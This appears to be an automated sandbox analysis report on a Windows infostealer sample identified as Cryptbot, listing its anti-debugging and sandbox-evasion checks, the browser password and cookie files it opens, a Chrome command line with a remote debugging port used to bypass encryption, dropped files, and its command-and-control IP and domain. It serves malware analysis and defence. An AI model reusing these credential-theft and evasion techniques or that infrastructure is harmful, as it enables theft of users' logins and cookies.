Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: SICE
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process queried: DebugPort Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00538230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 9_2_00538230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_0053116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 9_2_0053116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00531160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 9_2_00531160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_005311A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 9_2_005311A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_005313C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 9_2_005313C9
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7E84D0 cpuid 9_2_6C7E84D0
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: procmon.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: msmpeng.exe
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: wireshark.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Clipboard Hijacker
Source: Yara match File source: 9.2.service123.exe.6c760000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: service123.exe PID: 3368, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Leaks process information
Source: global traffic TCP traffic: 192.168.2.9:49728 -> 185.121.15.192:80
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite Jump to behavior

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1579684 Sample: mPQW1NB2Px.exe Startdate: 23/12/2024 Architecture: WINDOWS Score: 100 50 Suricata IDS alerts for network traffic 2->50 52 Found malware configuration 2->52 54 Antivirus / Scanner detection for submitted sample 2->54 56 9 other signatures 2->56 7 mPQW1NB2Px.exe 5 3 2->7         started        12 service123.exe 2->12         started        14 service123.exe 2->14         started        16 5 other processes 2->16 process3 dnsIp4 40 twentytk20ht.top 185.121.15.192, 49728, 49736, 49793 REDSERVICIOES Spain 7->40 42 httpbin.org 34.226.108.155, 443, 49721 AMAZON-AESUS United States 7->42 44 2 other IPs or domains 7->44 36 C:\Users\user\AppData\...\service123.exe, PE32 7->36 dropped 38 C:\Users\user\...LLRGATenShKoyKeRtXA.dll, PE32 7->38 dropped 62 Attempt to bypass Chrome Application-Bound Encryption 7->62 64 Tries to detect sandboxes and other dynamic analysis tools (window names) 7->64 66 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 7->66 68 8 other signatures 7->68 18 service123.exe 7->18         started        21 WerFault.exe 19 16 7->21         started        24 chrome.exe 7->24         started        27 schtasks.exe 1 7->27         started        file5 signatures6 process7 dnsIp8 58 Found evasive API chain (may stop execution after checking mutex) 18->58 60 Found stalling execution ending in API Sleep call 18->60 34 C:\ProgramData\Microsoft\...\Report.wer, Unicode 21->34 dropped 46 239.255.255.250 unknown Reserved 24->46 29 chrome.exe 24->29         started        32 conhost.exe 27->32         started        file9 signatures10 process11 dnsIp12 48 www.google.com 142.250.181.132, 443, 49817 GOOGLEUS United States 29->48
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.121.15.192
 home.twentytk20ht.top Spain
207046 REDSERVICIOES false
34.226.108.155
 httpbin.org United States
14618 AMAZON-AESUS false
239.255.255.250
 unknown Reserved
unknown unknown false
142.250.181.132
 www.google.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
www.google.com 142.250.181.132 true
s-part-0035.t-0009.t-msedge.net 13.107.246.63 true
home.twentytk20ht.top 185.121.15.192 true
twentytk20ht.top 185.121.15.192 true
httpbin.org 34.226.108.155 true